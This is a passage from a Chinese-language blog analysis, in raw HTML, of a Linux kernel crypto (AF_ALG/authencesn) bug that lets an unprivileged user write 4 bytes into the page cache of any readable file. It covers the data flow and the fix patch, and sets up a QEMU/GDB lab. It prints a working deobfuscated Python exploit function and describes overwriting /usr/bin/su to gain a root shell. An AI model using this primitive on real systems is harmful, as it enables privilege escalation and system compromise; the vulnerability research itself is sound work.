(ciphertext portion)</span><span leaf=""><br/></span><span leaf="">    Note: this is a DATA COPY, not a page <span class="code-snippet__title">reference</span></span><span leaf=""><br/></span><span leaf="">(<span class="code-snippet__number">2</span>) <span class="code-snippet__title">af_alg_pull_tsgl</span>(TX SGL, skip=t+<span class="code-snippet__number">8</span>, take=<span class="code-snippet__number">4</span>):</span><span leaf=""><br/></span><span leaf="">    Skip first t+<span class="code-snippet__number">8</span> bytes of TX SGL, extract last <span class="code-snippet__number">4</span> <span class="code-snippet__title">bytes</span> (tag region)</span><span leaf=""><br/></span><span leaf="">    These <span class="code-snippet__number">4</span> bytes <span class="code-snippet__keyword">in</span> TX SGL correspond to file[t:t+<span class="code-snippet__number">4</span>] from splice</span><span leaf=""><br/></span><span leaf="">-&gt;</span><span leaf=""> SGL entry: { page = file</span><span leaf="">&#39;s</span><span leaf=""> page cache page, offset = t%<span class="code-snippet__number">4096</span>, length = <span class="code-snippet__number">4</span> }</span><span leaf=""><br/></span><span leaf="">-&gt;</span><span leaf=""> This is the ORIGINAL page cache reference, NOT a copy!</span><span leaf=""><br/></span><span leaf="">(<span class="code-snippet__number">3</span>) <span class="code-snippet__title">sg_chain</span>(RX SGL tail, tag SGL):</span><span leaf=""><br/></span><span leaf="">    Chain the tag page reference to the end of RX SGL</span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4vkcy" style="font-size: 15px;">最终的 combined dst SGL（也是 src）布局：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v14iy"><span leaf="">combined dst SGL (</span><span leaf="">=</span><span leaf=""> req</span><span leaf="">-</span><span leaf="">&gt;</span><span leaf="">src </span><span leaf="">=</span><span leaf=""> req</span><span leaf="">-</span><span leaf="">&gt;</span><span leaf="">dst):</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><span class="code-snippet__comment">-- RX buffer (user-space, SAFE) ----+  +-- chained tag (PAGE CACHE!) ------+</span></span><span leaf=""><br/></span><span leaf="">|</span><span leaf="">|</span><span leaf="">|</span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf=""> AAD (<span class="code-snippet__number">8</span>B)  </span><span leaf="">|</span><span leaf="">  ciphertext (tB)       </span><span leaf="">|</span><span leaf="">-</span><span leaf="">&gt;</span><span leaf="">|</span><span leaf="">  file[t:t</span><span leaf="">+</span><span leaf=""><span class="code-snippet__number">4</span>] <span class="code-snippet__keyword">in</span> page cache       </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf="">|</span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">copy</span> <span class="code-snippet__keyword">of</span> file[<span class="code-snippet__number">0</span>:t]   </span><span leaf="">|</span><span leaf="">|</span><span leaf="">  original page <span class="code-snippet__keyword">ref</span> <span class="code-snippet__keyword">from</span> splice   </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf="">|</span><span leaf="">|</span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><span class="code-snippet__comment">-- offset 0                t+8 -----+  +-- offset t+8               t+12 -+</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vzdi" style="font-size: 15px;"><span leaf="">关键点：</span><strong><span leaf="">RX buffer 部分是内核分配的用户空间内存（安全），但尾部 chained 的 tag pages 是文件的 page cache 原始页面引用</span></strong><span leaf="">。</span></span></p><p><strong mpa-font-style="mp0kvm4vlz4" style="font-size: 15px;"><span leaf="">Step 4：authencesn 的 scratch write → 命中 page cache</span></strong></p><p><span mpa-font-style="mp0kvm4v13n" style="font-size: 15px;"><code><span leaf="">crypto_authenc_esn_decrypt()</span></code><span leaf="">开始执行。ESN scratch write 的目标位置计算：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v8xx"><span leaf=""><span class="code-snippet__comment">// crypto_authenc_esn_decrypt() 的 scratch write:</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 先读取 AAD[0:8]</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">scatterwalk_map_and_copy</span>(tmp, req</span><span leaf="">-&gt;</span><span leaf="">dst, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">8</span>, <span class="code-snippet__number">0</span>);  <span class="code-snippet__comment">// tmp[0]=AAD[0:4], tmp[1]=AAD[4:8]</span></span><span leaf=""><br/></span><span leaf="">unsigned int cryptlen = req</span><span leaf="">-&gt;</span><span leaf="">cryptlen;  <span class="code-snippet__comment">// = t + 4 (密文 + tag 的长度)</span></span><span leaf=""><br/></span><span leaf="">cryptlen -= authsize;                   <span class="code-snippet__comment">// = t + 4 - 4 = t</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 将 tmp[1] (= AAD[4:8] = evil_bytes) 写入 dst[assoclen + cryptlen]</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">scatterwalk_map_and_copy</span>(tmp + <span class="code-snippet__number">1</span>, req</span><span leaf="">-&gt;</span><span leaf="">dst, assoclen + cryptlen, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">1</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//                       ^^^^^^^^                  ^^^^^^^^^^^^^^^^  ^</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//                    = AAD[4:8]                   = 8 + t          写方向</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//                    = evil_bytes</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vu1b" style="font-size: 15px;"><span leaf="">写入位置是 dst SGL 的偏移</span><code><span leaf="">8 + t</span></code><span leaf="">。对照上面的 combined SGL 布局：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="mp0kvm4v1kfo" style="font-size: 15px;">RX buffer 部分占据 [0, t+8)，共 t+8 字节</span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4v1pin" style="font-size: 15px;">chained tag pages 从偏移 t+8 开始</span></p></li></ul><p><span mpa-font-style="mp0kvm4vhby" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="mp0kvm4vhby" style="font-size: 15px;"><code><span leaf="">8 + t</span></code><span leaf="">恰好是 RX buffer 的边界，也就是</span><strong><span leaf="">chained tag pages 的起始位置</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4vvo" style="font-size: 15px;"><span leaf="">而 tag pages 是 file[t:t+4] 的 page cache 原始引用。所以 scratch write 写入的就是文件 page cache 中偏移</span><code><span leaf="">t</span></code><span leaf="">处的 4 字节。</span></span></p><p><span mpa-font-style="mp0kvm4vzae" style="font-size: 15px;"><span leaf="">写入的值 =</span><code><span leaf="">tmp[1]</span></code><span leaf="">= AAD[4:8] = 通过 sendmsg 传入的</span><code><span leaf="">evil_bytes</span></code><span leaf="">。</span></span></p><p><strong mpa-font-style="mp0kvm4vwoa" style="font-size: 15px;"><span leaf="">至此链条闭合：写入位置通过 splice 长度控制（决定 t），写入内容通过 sendmsg 的 AAD[4:8] 控制。两者都是用户空间可自由指定的参数。</span></strong></p><p><strong mpa-font-style="mp0kvm4v1e8i" style="font-size: 15px;"><span leaf="">为什么写入不可逆？</span></strong></p><p><span mpa-font-style="mp0kvm4v10tp" style="font-size: 15px;"><span leaf="">解密完成后，</span><code><span leaf="">crypto_authenc_esn_decrypt_tail()</span></code><span leaf="">会尝试恢复被 scratch write 覆盖的数据。但这里有一个关键细节：它先</span><strong><span leaf="">读取</span></strong><code><span leaf="">dst[8+t]</span></code><span leaf="">处的当前值（此时已是 payload），然后写回 AAD[0:8] 到</span><code><span leaf="">dst[0:8]</span></code><span leaf="">。</span><strong><span leaf="">dst[8+t] 处从未被写回原始值</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4vw73" style="font-size: 15px;"><span leaf="">而且 HMAC 校验必然失败（因为数据已被篡改），</span><code><span leaf="">recvmsg</span></code><span leaf="">返回</span><code><span leaf="">-EBADMSG</span></code><span leaf="">。但此时 page cache 写入已经发生，无法回滚。漏洞利用时只需忽略这个错误即可。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1x9q" style="font-size: 15px;"><span leaf="">3.4 控制能力分析</span></span></h3><p><span mpa-font-style="mp0kvm4v1evr" style="font-size: 15px;"><strong><span leaf="">写入位置</span></strong><span leaf="">：通过调整</span><code><span leaf="">splice()</span></code><span leaf="">的长度（= t + authsize = t + 4）来控制 t，即写入的目标文件偏移。每次调用可以定位到文件中的任意偏移处。</span></span></p><p><span mpa-font-style="mp0kvm4vzmn" style="font-size: 15px;"><strong><span leaf="">写入内容</span></strong><span leaf="">：通过 sendmsg 发送的 AAD[4:8]（4 字节），完全可控。</span></span></p><p><span mpa-font-style="mp0kvm4v1jo2" style="font-size: 15px;"><strong><span leaf="">写入大小</span></strong><span leaf="">：固定 4 字节。这不是由</span><code><span leaf="">setsockopt(ALG_SET_AEAD_AUTHSIZE)</span></code><span leaf="">决定的——authsize 只影响偏移计算中的</span><code><span leaf="">cryptlen -= authsize</span></code><span leaf="">。4 字节是 authencesn 中硬编码的</span><code><span leaf="">sizeof(u32)</span></code><span leaf="">（ESN 序列号高 32 位的大小）。单次写入字节数无法改变，但多次调用即可覆盖文件的连续区域。</span></span></p><p><span mpa-font-style="mp0kvm4v6dy" style="font-size: 15px;"><strong><span leaf="">目标文件</span></strong><span leaf="">：任何当前用户有读权限的文件。PoC 用</span><code><span leaf="">O_RDONLY</span></code><span leaf="">打开文件，不需要写权限，因为写入路径不经过 VFS 的权限检查。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v1pxv" style="font-size: 15px;">总结：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1zi2"><span leaf="">写入目标: file page cache[t : t+4]</span><span leaf=""><br/></span><span leaf="">写入值:   sendmsg 发送的 AAD[4:8] (4 字节, 完全可控)</span><span leaf=""><br/></span><span leaf="">写入大小: 固定 4 字节 (authencesn 硬编码的 u32)</span><span leaf=""><br/></span><span leaf="">触发条件: assoclen=8, authsize=4, splice 长度=t+4</span><span leaf=""><br/></span><span leaf="">文件权限: 只需 O_RDONLY，不需要写权限</span><span leaf=""><br/></span><span leaf="">根本原因: dst SGL 尾部 chained 的 tag pages 是 splice 引入的 page cache 原始引用</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v237c" style="font-size: 15px;"><span leaf="">3.5 补丁分析</span></span></h3><p><span mpa-font-style="mp0kvm4vpxy" style="font-size: 15px;"><span leaf="">修复补丁</span><code><span leaf="">a664bf3d603d</span></code><span leaf="">的作者 Herbert Xu 在 commit message 中写道：</span></span></p><blockquote><p><span leaf="" mpa-font-style="mp0kvm4v1m4k" style="font-size: 15px;">This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.</span></p></blockquote><p><span mpa-font-style="mp0kvm4v225y" style="font-size: 15px;"><span leaf="">修复方案：</span><strong><span leaf="">去掉 in-place 模式</span></strong><span leaf="">，让</span><code><span leaf="">req-&gt;src</span></code><span leaf="">和</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">重新指向不同的 SGL：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vqcs"><span leaf=""><span class="code-snippet__comment">// 修复后: out-of-place</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// src = TX SGL (包含 page cache pages，但只读)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// dst = RX SGL (纯用户空间 buffer)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">aead_request_set_crypt</span>(&amp;areq</span><span leaf="">-&gt;</span><span leaf="">aead_req,</span><span leaf=""><br/></span><span leaf="">                       tsgl_src,   <span class="code-snippet__comment">// req-&gt;src = TX SGL</span></span><span leaf=""><br/></span><span leaf="">                       rsgl_dst,   <span class="code-snippet__comment">// req-&gt;dst = RX SGL (独立!)</span></span><span leaf=""><br/></span><span leaf="">                       used, ctx</span><span leaf="">-&gt;</span><span leaf="">iv);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// AAD 通过显式 memcpy 复制到 RX buffer</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">memcpy_sglist</span>(rsgl_src, tsgl_src, ctx</span><span leaf="">-&gt;</span><span leaf="">aead_assoclen);</span></code></pre></p><p><span mpa-font-style="mp0kvm4v17qo" style="font-size: 15px;"><span leaf="">修复后，</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">只包含用户空间分配的 RX buffer，不再有 page cache pages。authencesn 的 scratch write 写入的是用户自己的接收缓冲区——完全无害。</span></span></p><p><span mpa-font-style="mp0kvm4v1q60" style="font-size: 15px;"><span leaf="">补丁净删除约 92 行代码：移除了 tag page chain、in-place 分支、</span><code><span leaf="">af_alg_pull_tsgl</span></code><span leaf="">的 offset 参数等所有为 in-place 操作添加的复杂逻辑。整个</span><code><span leaf="">sg_chain()</span></code><span leaf="">调用被彻底消除——不再有任何 page cache page 出现在</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">中的可能。（补丁全文可在GitHub查看。）</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">四、PoC 分析与动态验证</span></strong></p></div></div></div></div></div></div><p><span mpa-font-style="mp0kvm4v1q60"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">4.1 公开 PoC 结构</span></span></span></p><p><span mpa-font-style="mp0kvm4v1w0f" style="font-size: 15px;"><span leaf="">公开的Copy Fail PoC是一个 732 字节的高度混淆 Python 脚本，通过 base64 + zlib 压缩嵌套了真正的利用代码。解码后的核心是一个</span><code><span leaf="">page_cache_write_4bytes(fd, offset, value)</span></code><span leaf="">函数，它执行上述漏洞触发路径来向指定文件的 page cache 写入 4 字节。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4voma" style="font-size: 15px;">PoC 的完整利用流程是：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span mpa-font-style="mp0kvm4v1jvv" style="font-size: 15px;"><span leaf="">打开</span><code><span leaf="">/usr/bin/su</span></code><span leaf="">（SUID root binary）的只读 fd</span></span></p></li><li><p><span mpa-font-style="mp0kvm4vpev" style="font-size: 15px;"><span leaf="">多次调用</span><code><span leaf="">page_cache_write_4bytes()</span></code><span leaf="">，将</span><code><span leaf="">/usr/bin/su</span></code><span leaf="">的前 160 字节 ELF header 覆盖为一个精心构造的 ELF payload（包含一段获取 root shell 的 shellcode）</span></span></p></li><li><p><span mpa-font-style="mp0kvm4v20me" style="font-size: 15px;"><span leaf="">执行被篡改的</span><code><span leaf="">/usr/bin/su</span></code><span leaf="">→ 获得 root shell</span></span></p></li></ul><p><span mpa-font-style="mp0kvm4vvgb" style="font-size: 15px;"><span leaf="">这里有一个有趣的细节：PoC 是用</span><code><span leaf="">O_RDONLY</span></code><span leaf="">打开目标文件的。对于常规的 VFS 写操作，只读 fd 会被内核拒绝。但 Copy Fail 的写入路径不经过 VFS 的权限检查——它通过 crypto 子系统的 scratch write 直接修改 page cache 页面。这意味着</span><strong><span leaf="">任何可读文件都是潜在的攻击目标</span></strong><span leaf="">，包括被挂载为 readOnly 的文件。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vll3" style="font-size: 15px;"><span leaf="">4.2 核心函数实现</span></span></h3><p><span leaf="" mpa-font-style="mp0kvm4v22w7" style="font-size: 15px;">去混淆后的核心函数（对照 Section 3 的数据流）：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v84n"><span leaf="">AF_ALG = <span class="code-snippet__number">38</span></span><span leaf=""><br/></span><span leaf="">SOL_ALG = <span class="code-snippet__number">279</span></span><span leaf=""><br/></span><span leaf="">ASSOCLEN = <span class="code-snippet__number">8</span>    <span class="code-snippet__comment"># AAD 长度</span></span><span leaf=""><br/></span><span leaf="">AUTHSIZE = <span class="code-snippet__number">4</span>    <span class="code-snippet__comment"># auth tag 大小 (也影响偏移计算)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">page_cache_write_4bytes</span>(<span class="code-snippet__params">fd, offset, value</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;&#34;&#34;向 fd 指向文件的 page cache[offset : offset+4] 写入 value (4字节)&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 创建 AF_ALG socket, 绑定 authencesn(hmac(sha256),cbc(aes)) 算法</span></span><span leaf=""><br/></span><span leaf="">    s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, <span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">    s.setsockopt(SOL_ALG, <span class="code-snippet__number">2</span>,  <span class="code-snippet__comment"># ALG_SET_KEY: 密钥 (全零, 内容不影响漏洞触发)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">b&#39;\x08\x00\x01\x00&#39;</span>    <span class="code-snippet__comment"># rtattr 头</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">b&#39;\x00\x00\x00\x10&#39;</span>    <span class="code-snippet__comment"># enckeylen=16 (AES-128)</span></span><span leaf=""><br/></span><span leaf="">                 + <span class="code-snippet__string">b&#39;\x00&#39;</span> * <span class="code-snippet__number">32</span>)         <span class="code-snippet__comment"># 16B authkey + 16B enckey</span></span><span leaf=""><br/></span><span leaf="">    s.setsockopt(SOL_ALG, <span class="code-snippet__number">4</span>, <span class="code-snippet__literal">None</span>, AUTHSIZE)  <span class="code-snippet__comment"># ALG_SET_AEAD_AUTHSIZE = 4</span></span><span leaf=""><br/></span><span leaf="">    op = s.accept()[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 构造 8 字节 AAD: 前 4B 填充零, 后 4B 是要写入 page cache 的 value</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># authencesn 会把 AAD[4:8] (= value) 写入 dst[assoclen + cryptlen]</span></span><span leaf=""><br/></span><span leaf="">    aad = <span class="code-snippet__string">b&#39;\x00&#39;</span> * <span class="code-snippet__number">4</span> + value   <span class="code-snippet__comment"># 8 字节</span></span><span leaf=""><br/></span><span leaf="">    op.sendmsg([aad],</span><span leaf=""><br/></span><span leaf="">               [(SOL_ALG, <span class="code-snippet__number">2</span>, <span class="code-snippet__string">b&#39;\x00&#39;</span> * <span class="code-snippet__number">4</span>),             <span class="code-snippet__comment"># ALG_OP_DECRYPT</span></span><span leaf=""><br/></span><span leaf="">                (SOL_ALG, <span class="code-snippet__number">3</span>, <span class="code-snippet__string">b&#39;\x10&#39;</span> + <span class="code-snippet__string">b&#39;\x00&#39;</span> * <span class="code-snippet__number">19</span>),   <span class="code-snippet__comment"># IV = 16B zero</span></span><span leaf=""><br/></span><span leaf="">                (SOL_ALG, <span class="code-snippet__number">4</span>, struct.pack(<span class="code-snippet__string">&#39;I&#39;</span>, ASSOCLEN))], <span class="code-snippet__comment"># assoclen = 8</span></span><span leaf=""><br/></span><span leaf="">               socket.MSG_MORE)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 通过 splice 将目标文件的 [0, offset+4) 送入 AF_ALG socket</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># splice 传递 page cache page 引用 (零拷贝)</span></span><span leaf=""><br/></span><span leaf="">    pr, pw = os.pipe()</span><span leaf=""><br/></span><span leaf="">    os.splice(fd, pw, offset + AUTHSIZE, offset_src=<span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">    os.splice(pr, op.fileno(), offset + AUTHSIZE)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span>:</span><span leaf=""><br/></span><span leaf="">        op.recv(ASSOCLEN + offset)  <span class="code-snippet__comment"># 触发 _aead_recvmsg → authencesn scratch write</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">except</span> OSError:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">pass</span>  <span class="code-snippet__comment"># HMAC 校验失败返回 EBADMSG, 但 page cache 写入已完成</span></span><span leaf=""><br/></span><span leaf="">    op.close(); s.close(); os.close(pr); os.close(pw)</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v2212" style="font-size: 15px;"><span leaf="">4.3 QEMU + GDB 内核级验证</span></span></h3><p><span leaf="" mpa-font-style="mp0kvm4v1f5o" style="font-size: 15px;">为了从内核层面验证漏洞的完整触发路径，需要搭建一个可控的调试环境：在 QEMU 中运行带有调试符号的 Linux 6.12.8 内核，通过 GDB 远程调试在关键函数设置断点，捕获完整的执行链。</span></p><blockquote><p><span leaf="" mpa-font-style="mp0kvm4v1jnh" style="font-size: 15px;">实验环境代码</span></p><p><span leaf="" mpa-font-style="mp0kvm4vptv" style="font-size: 15px;">本节涉及的所有脚本和配置文件：GitHub Gist — QEMU Debug Environment</span></p><p><span leaf="" mpa-font-style="mp0kvm4v23al" style="font-size: 15px;">GDB 断点脚本：GitHub Gist — GDB Scripts</span></p></blockquote><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1erh" style="font-size: 15px;"><span leaf="">4.3.1 搭建调试环境</span></span></h4><p><span mpa-font-style="mp0kvm4v9zc" style="font-size: 15px;"><span leaf="">整个调试环境通过 Docker 构建（避免在 macOS 上配置交叉编译链），产出三个文件：压缩内核</span><code><span leaf="">bzImage</span></code><span leaf="">、调试符号</span><code><span leaf="">vmlinux</span></code><span leaf="">、以及包含 PoC 工具的 initramfs。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v57d"><span leaf=""><span class="code-snippet__comment"># 构建内核 + busybox + PoC (通过 Docker，约 10 分钟)</span></span><span leaf=""><br/></span><span leaf="">docker build -t copyfail-build -f Dockerfile .</span><span leaf=""><br/></span><span leaf="">docker run --<span class="code-snippet__built_in">rm</span> -v $(<span class="code-snippet__built_in">pwd</span>)/output:/output copyfail-build</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 产出:</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#   output/bzImage        — 压缩内核 (4.8M)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#   output/vmlinux        — 带 DWARF 调试符号 (126M, 给 GDB 用)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#   output/rootfs.cpio.gz — initramfs (含 busybox + poc_pagecache_write)</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4vuc8" style="font-size: 15px;">内核配置的关键选项（确保 crypto 子系统和调试符号完整）：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vlfe"><span leaf="">CONFIG_CRYPTO_USER_API_AEAD</span><span leaf="">=y    <span class="code-snippet__comment"># AF_ALG AEAD 接口</span></span><span leaf=""><br/></span><span leaf="">CONFIG_CRYPTO_AUTHENC</span><span leaf="">=y          <span class="code-snippet__comment"># authenc 模块</span></span><span leaf=""><br/></span><span leaf="">CONFIG_CRYPTO_SEQIV</span><span leaf="">=y            <span class="code-snippet__comment"># 序列号 IV</span></span><span leaf=""><br/></span><span leaf="">CONFIG_DEBUG_INFO_DWARF5</span><span leaf="">=y       <span class="code-snippet__comment"># 完整调试符号</span></span><span leaf=""><br/></span><span leaf="">CONFIG_GDB_SCRIPTS</span><span leaf="">=y             <span class="code-snippet__comment"># GDB helper scripts</span></span><span leaf=""><br/></span><span leaf="">CONFIG_KALLSYMS_ALL</span><span leaf="">=y            <span class="code-snippet__comment"># 所有内核符号可见</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4vrna" style="font-size: 15px;">启动 QEMU 虚拟机：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1k9l"><span leaf=""><span class="code-snippet__comment"># 普通启动 (直接进入 shell)</span></span><span leaf=""><br/></span><span leaf="">./run_qemu.sh</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 调试模式 (QEMU 暂停, 等待 GDB 连接到 :1234)</span></span><span leaf=""><br/></span><span leaf="">./run_qemu.sh debug</span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v135e" style="font-size: 15px;">在另一个终端连接 GDB：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vttg"><span leaf="">gdb ./vmlinux -ex <span class="code-snippet__string">&#39;target remote :1234&#39;</span> -ex <span class="code-snippet__string">&#39;continue&#39;</span></span></code></pre></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1znn" style="font-size: 15px;"><span leaf="">4.3.2 实验 1：Page Cache 写入验证</span></span></h4><p><span leaf="" mpa-font-style="mp0kvm4v1xyt" style="font-size: 15px;">在 QEMU 虚拟机的 shell 中，执行自动化实验脚本：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v15ue"><span leaf=""><span class="code-snippet__comment"># === VM 内执行 ===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 1. 创建测试文件</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;AABBCCDD EEFFGGHH IIJJKKLL MMNNOOPP&#34;</span> &gt; /tmp/target.txt</span><span leaf=""><br/></span><span leaf="">hexdump -C /tmp/target.txt</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 